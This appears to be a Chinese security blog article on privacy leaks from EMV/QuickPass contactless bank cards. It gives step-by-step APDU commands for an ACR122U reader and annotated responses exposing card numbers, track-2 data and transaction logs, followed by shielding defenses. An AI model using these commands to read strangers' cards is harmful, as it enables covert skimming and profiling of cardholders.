闪付卡(QuickPass)隐私泄露原理
0×00 前言
说到闪付卡,首先要从EMV开始,EMV是由Europay,MasterCard和VISA制定的基于IC卡的支付标准规范。目前基于EMV卡的非接触式支付的实现有三个:VISA的payWave,MasterCard的PayPass以及银联的闪付QuickPass。目前从外观来看,银联发行的卡面有芯片的IC卡均支持闪付,部分银行支持VISA的payWave。
0×01 闪付卡隐私泄露风险
想象一下当路人拿着巴掌大的设备靠近你的时候,你身上的银行卡的卡号、发卡行、最近十笔的交易记录等,甚至是姓名、身份证号都泄露出去将会有多恐怖。通过这些信息攻击者就可以大致刻画出卡主人的消费习惯和生活水平等等。当然,这并不是闪付卡或金融IC卡的“漏洞”,这些信息是需要在交易过程中由POS机发送给发卡行进行验证的。
0×02 闪付卡工作流程
本文所指的工作流程只局限在跟信息泄露相关的流程上,不涉及数据认证、支付、联机交易等内容。
应用选择
(2PAY.SYS.DDF01)
应用初始化
读取数据
后续流程等

应用选择
应用选择包括目录选择法 与 AID列表法。读卡器会首先使用目录选择法,如果失败,则会使用AID列表法。简单来说,目录选择法就是读卡器从卡片读取其所支持的所有应用,而AID列表法则是读卡器将其所支持的所有应用一个一个发给卡片,当有响应时则卡片支持该应用,无响应则不存在。而后构造出一个支持的列表,供读卡器或持卡人选择。以目录选择法为例:
SELECT的命令报文格式为为00 A4 04(通过名称选择) 00(仅有一个) + 数据长度 + DATA的ASCII码
如选择qPBOC
00 A4 04 00 0E + 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 (2PAY.SYS.DDF01的ASCII码)
应用初始化
此处与交易有关,与本文隐私泄露关系不大,但因为是中间步骤,所以做简单描述。在上一步应用选择时卡片返回了PDOL(处理选项数据对象列表,可以理解为由卡片提供的组包格式),应用初始化时,按照PDOL组包向卡片发送GPO命令,包括金额、时间、国家代码、货币代码等。进入GPO就代表着交易的开始。
读取数据
此部分是我们主要关注的位置,通过GET DATA或READ RECORD命令来读取,READ RECORD通过SFI读取数据内容,主要关注的是读取个人化数据(DGI),GET DATA读取一些标签里的内容(如货币代码、金额限制、上限、交易日志格式等)。DGI的第一个字节为01-1E,是SFI,第二个字节是记录编号。常用的DGI有0101(2磁道等价数据、持卡人姓名(不建议存储)、1磁道自定义数据) 0102(2 磁道等价数据、1磁道自定义数据),0201(数据认证数据)等,具体的DGI表可参考《中国金融集成电路(IC)卡规范》的第十部分 表1。
GET DATA的命令报文的格式为80CA + 标签 + 00
如读取电子现金余额(9F79)发送 80CA9F7900。
READ RECORD的命令报文的格式为00B2 + 记录号 + 引用控制参数 + 00
其中引用控制参数为 SFI(Bin)左移三位 + 100(Bin)
如读取DGI0101时,第一个01为SFI,第二个01为编号。计算引用控制参数如下,0000 0001左移三位得到00001 + 100 得到 0000 1100转换为Hex为 0C,得到的APDU为 00 B2 01 0C 00。
0×03 测试过程
需要准备的工具如下:
ACR122u或同类支持APDU的读卡器
读卡器驱动及应用
支持闪付的银行卡
本文使用的测试卡如下图所示:

下面操作均会以ACR122U为读卡器操作,在安装好驱动及ACR122U Tool后,插入读卡器并启动ACR122U Tool。首先连接读卡器设备,点击菜单中的Reader Commands -> New connection

连接成功后,可以使用该工具直接发送APDU,点击 Send Commands -> APDU Command

按照闪付卡的工作流程构造APDU发包,第一步是应用选择,选择qPBOC(2PAY.SYS.DDF01)

APDU:00 A4 04 00 + 0E + 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 (2PAY.SYS.DDF01的ASCII)
响应包如下
6F 30 (FCI文件控制信息)
84 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 (DF专用文件,2PAY.SYS.DDF01的ASCII)
A5 1E (FCI专用模板)
BF 0C 1B (FCI自定义数据)
61 19 (目录入口)
4F 08 A0 00 00 03 33 01 01 01 (返回的AID,下一步选择的AID)
50 0A 50 42 4F 43 20 44 45 42 49 54 (应用标签,此处为PBOC DEBIT)
87 01 01(应用优先指示器)
90 00 (状态字:正常)
得到下一步的AID:A0 00 00 03 33 01 01 01,选择该AID

APDU:00 A4 04 00 + 08 + A0 00 00 03 33 01 01 01
响应包如下
6F 54 (FCI文件控制信息)
84 08 A0 00 00 03 33 01 01 01 (DF名称)
A5 48 (FCI专用模板)
50 0A 50 42 4F 43 20 44 45 42 49 54 (应用标签,此处为PBOC DEBIT)
87 01 01 (应用优先指示器)
9F 38 18 9F 66 04 9F 02 06 9F 03 06 9F 1A 02 95 05 5F 2A 02 9A 03 9C 01 9F 37 04 (PDOL)
5F 2D 02 7A 68 (首选语言,zh)
9F 11 01 01 (发卡行代码索引)
9F 12 0A 50 42 4F 43 20 44 45 42 49 54 (应用首选名称,PBOC DEBIT)
BF 0C 05 9F 4D 02 0B 0A (发卡行自定义数据,9F4D为交易日志入口标签)
90 00 (状态字)
接下来可以进行读取数据的部分了,首先读取DGI0201里存储的数据。其数据定义如下表:

要读取DGI0201,计算APDU如下,0000 0010 左移三位 得到 00010 加 100 得到 0001 0100 即 14(Hex)

APDU:00 B2 01 14 00
响应包如下
70 46 (模板)
5F 24 03 25 12 31 (25年12月31日失效日期)
5F 25 03 15 05 14 (15年05月14日生效日期)
5A 08 62 26 xx xx xx xx 45 00 (卡号)
9F 07 02 FF 00 (应用使用控制)
8E 0C 00 00 00 00 00 00 00 00 02 03 1F 00
9F 0D 05 D8 60 04 A8 00
9F 0E 05 00 10 98 00 00
9F 0F 05 D8 68 04 F8 00
5F 28 02 01 56 (0156中国)
90 00 (状态字:成功)
此处可以获取卡的生效日期、失效日期、卡号等内容,接下来尝试读取磁条2和持卡人信息的数据,需要读取DGI0101和DGI0102,,经过上述方法计算需要发送的APDU为:

APDU:00 B2 01 0C 00
响应包如下
70 15 (模板)
57 13 62 26 22 10 06 40 45 00 (2磁道卡号)
D2 51 2 (有效期 25/12)
2 20 00 98 78 32 00 00 0F (补足)
90 00 (状态字:成功)

APDU:00 B2 02 0C 00
响应包如下
70 36 (模板)
9F 61 12 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 (证件号,此处为空)
9F 62 01 05 (证件类型)
5F 20 1A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 (姓名ASCII,此处为空)
90 00 (状态字:成功)
接下来尝试读取一下交易记录,这里要注意首先要获取交易记录的格式,银联给出了推荐格式:

但是注意这里只是推荐格式,每个银行的卡片实现不一定相同,所以读取交易记录时应先获取交易记录的格式,使用GET DATA命令读取9F4F标签(交易日志格式),根据该格式结合READ RECORD读取出的交易日志解析。首先读取交易日志格式:
APDU:80 CA 9F4F 00
响应包如下
9F 4F 19
9A 03
9F 21 03
9F 02 06
9F 03 06
9F 1A 02
5F 2A 02
9F 4E 14
9C 01
9F 36 02
90 00
经过比对发现与推荐格式相同,之后可以通过READ RECORD命令读取从1-10读取交易日志。首先要找到在选择AID的时候的回包,9F4D指出了交易日志入口,通常为0B,根据上文计算其SFI为 0101 1100即5C。之后再构造APDU循环读取其十条交易记录

APDU:00 B2 01 5C 00:
响应包如下
17 09 13 (17年9月13号)
16 45 38 (16:45:38)
00 00 00 35 00 00 (3500.00元)
00 00 00 00 00 00 (其他金额)
01 56 (中国)
01 56 (人民币)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0A (空)
21 (交易类型)
00 31 (应用交易计数器)
90 00 (状态字:成功)
下表为使用手里现有的银行卡的测试情况。

0×04 脚本
我们已经可以使用APDU发送的工具,获取想要获得的信息,剩下的工作就是脚本化。可以使用ACR122U的SDK,其提供了Delphi,Java,VB,C#,C++等语言,但个人更愿意通过Python来实现,通过使用Python的pyscard库,可以实现该功能。

0×05 防护方式
防护的措施可以考虑与读卡器保持足够的距离、使用铝箔包裹卡片、专业的Pacsafe下属的RFIDSafe系列或简单便捷的屏蔽卡套等措施。原理都是通过金属或液体屏蔽来屏蔽高频信号。
闪付卡(QuickPass)隐私泄露原理的更多相关文章
- RFID Hacking③:使用ProxMark3嗅探银行闪付卡信息
0×00 前言 RFID是Radio Frequency Identification的缩写,术语为射频识别,俗称电子标签.按照工作频率的不同,RFID标签可以分为低频(LF).高频(HF).超高频( ...
- 电子现金、电子钱包、qPBOC、闪付、UPCash
一.关于金融IC卡领域的规范 由Europay.Mastercard.Visa三大国际信用卡组织联合制定的金融集成电路(IC)卡金融支付标准,称为EMV规范,其目的是为金融IC卡.金融终端.支付系统以 ...
- 隐私泄露杀手锏 —— Flash 权限反射
[简版:http://weibo.com/p/1001603881940380956046] 前言 一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱.社交网站 ...
- 基于xposed逆向微信、支付宝、云闪付来实现个人免签支付功能
我的个人网站如何实现支付功能? 想必很多程序员都有过想开发一个自己的网站来获得一些额外的收入,但做这件事会遇到支付这个问题.目前个人网站通过常规手法是无法实现支付管理的,所有支付渠道都需要以公司的身份 ...
- 安全防范:nginx下git引发的隐私泄露问题
安全防范:nginx下git引发的隐私泄露问题 1 安全事件 最近阿里云服务器后台管理系统中收到一条安全提示消息,系统配置信息泄露: http://my.domain.com/.git/confi ...
- js闭包和ie内存泄露原理
也议 js闭包和ie内存泄露原理 可以, 但小心使用. 闭包也许是 JS 中最有用的特性了. 有一份比较好的介绍闭包原理的文档. 有一点需要牢记, 闭包保留了一个指向它封闭作用域的指针, 所以, 在给 ...
- [典型漏洞分享]exported Android content provider引发的隐私泄露问题
YS android手机APP对外开放多余的content provider,可任意增.删.改和查images数据库表格,导致隐私泄露 问题描述: YS android手机APP使用SQLITE数据库 ...
- laravel基础课程---7、文件处理、闪存、cookie(cookie原理和使用场景)
laravel基础课程---7.文件处理.闪存.cookie(cookie原理和使用场景) 一.总结 一句话总结: 页面请求服务器的时候是把这个页面中所有的cookie都带上了的,cookie里面也存 ...
- Java 银联云闪付对接记录
一开始盲目找资料走了弯路: 还是从银联给的官方文档入手最高效: 附件3:云闪付业务商户入网服务指引.pdf http://tomas.test.upcdn.net/pay/%E9%99%84%E4%B ...
随机推荐
- 关于requestAnimationFrame与setInterval的一点差异
requestAnimationFrame与setInterval都可以实现循环触发事件,但是setInterval是基于时间的,而requestAnimationFrame是基于帧数的,在我的一次开 ...
- 敏捷开发——User Story
敏捷开发流程: 1.我们首先需要确定一个Product Backlog(按优先顺序排列的一个产品需求列表),这个是由Product Owner 负责的: 2.Scrum Team根据Product B ...
- python下基于sokcet的tcp通信——入门篇
环境 python版本:2.7 IDE:pycharm TCP/UDP协议均为传输层的协议,绝大部分应用程序之间的通信都是使用TCP或UDP,故而在网络通信中及其重要,想详细了解他们之间的差异,可参考 ...
- 『高性能模型』轻量级网络ShuffleNet_v1及v2
项目实现:GitHub 参考博客:CNN模型之ShuffleNet v1论文:ShuffleNet: An Extremely Efficient Convolutional Neural Netwo ...
- git设置用户名和邮箱
用git config --global user.name "your name"命令来设置你的用户名 用git config --global user.email " ...
- count性能
表有主键列,count(1)的效率会稍微高于count(*),count(主键列)效率会高于count(1).表没有主键列,count(1)效率会高于count(*) count(1).count(* ...
- jQuery的版本兼容问题
之前在做头像上传的时候,使用的jQuery是1.8.2的版本,然后头像上传做完后,发现项目用的jQuery版本是3.3.1的.由于两个版本的差距太大了.所以兼容很差. 3.3.1不支持剪切头像的某些函 ...
- 解决反射型XSS漏洞攻击
对于程序员来说安全防御,无非从两个方面考虑,要么前端要么后台. 一.首先从前端考虑过滤一些非法字符. 前端的主控js中,在<textarea> 输入框标签中,找到点击发送按钮后,追加到聊天 ...
- 多线程之interrupt
1.interrupt()作为中断程序,并不会直接终止运行,而是设置中断状态,由线程自己处理中断.可以选择终止线程.等待新任务或继续执行. 2.interrupt()经常用于中断处于堵塞状态的的线程, ...
- 一位资深Java架构师的晋级心得
架构师是什么? 是一个既需要掌控整体又需要洞悉局部瓶颈并依据具体的业务场景给出解决方案的团队领导型人物.一个架构师得需要足够的想像力,能把各种目标需求进行不同维度的扩展,为目标客户提供更为全面的需求清 ...